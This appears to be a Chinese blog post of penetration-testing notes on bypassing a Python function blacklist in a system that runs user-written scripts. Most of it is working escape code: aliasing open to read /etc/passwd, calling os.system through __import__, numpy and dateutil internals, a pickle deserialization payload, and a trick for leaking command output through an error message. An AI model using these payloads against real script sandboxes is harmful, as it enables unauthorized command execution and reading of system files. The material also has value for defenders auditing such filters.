python播放网络音乐黑名单_Python WAF黑名单过滤下的一些Bypass思路

笔者在工作中碰到的一个系统,能写入python脚本,但是有黑名单函数过滤,在Bypass的过程的觉得有意思的地方都记录下来。

1.黑名单下的函数

1.1 变量 = 函数名a = open

print(a("/etc/passwd").read())

1.2 空格+换行

经过测试,函数名后面加点空格换一行都能执行。print open \

("/etc/passwd").read()

2.第三方库内置的函数

一般都会有在白名单的第三方库的,除非他们程序员太厉害了,所有模块都自己实现。

如numpy这个库,内置了很多可以执行命令的地方。from numpy.distutils.exec_command import _exec_command as system

system("ls /")

3.import

大概常用的就几种,第三方的就不说了,欢迎补充

3.1 利用as取别名

import os as o

3.2 内置函数 import

__import__("os").system("whoami")

3.3 逗号+as(如果知道目录结构还可以用点号或者星号)

import time as t,os as o,urllib

3.4 魔术方法(思路来自:美丽联合集团安全应急响应中心@Viarus)

[].__class__.__base__.__subclasses__()魔术方法,加载全部模块,需要for遍历之后找到模块来调用。

3.5 getattr函数(首先你需要在内存中已经加载这个库,@kttzd师傅的姿势)

如numpy库的from numpy.core import *

_ufunc_reconstruct("os","system")("whoami")

4.__init__.py 加载的三方库

这个地方很容易被程序员忽略...

__init__.py 里面import的库,我们可以直接使用。

如dateutil这个第三方库。

dateutil/zoneinfo/__init__.py 下第三行就有import osfrom dateutil import zoneinfo

zoneinfo.os.system("ls /")

5.反序列import pickle

pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

这里有个经典的案例https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

再分享个没啥用tips,这次测试碰到的一个案例,因为之前被别人挖过,所以限制了对外发请求,又不能print打印出命令执行的结果,当时不是很肯定存在命令执行,没法证明就没法提交上去,后面用变量接收命令执行的结果然后用int函数强制转换,报错的时候就把命令执行返回的str带出来了(后面@kttzd 师傅翻出这个系统的文档,有个函数专门用来打印日志...)

最后的最后再感谢下@kttzd 师傅的姿势。

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值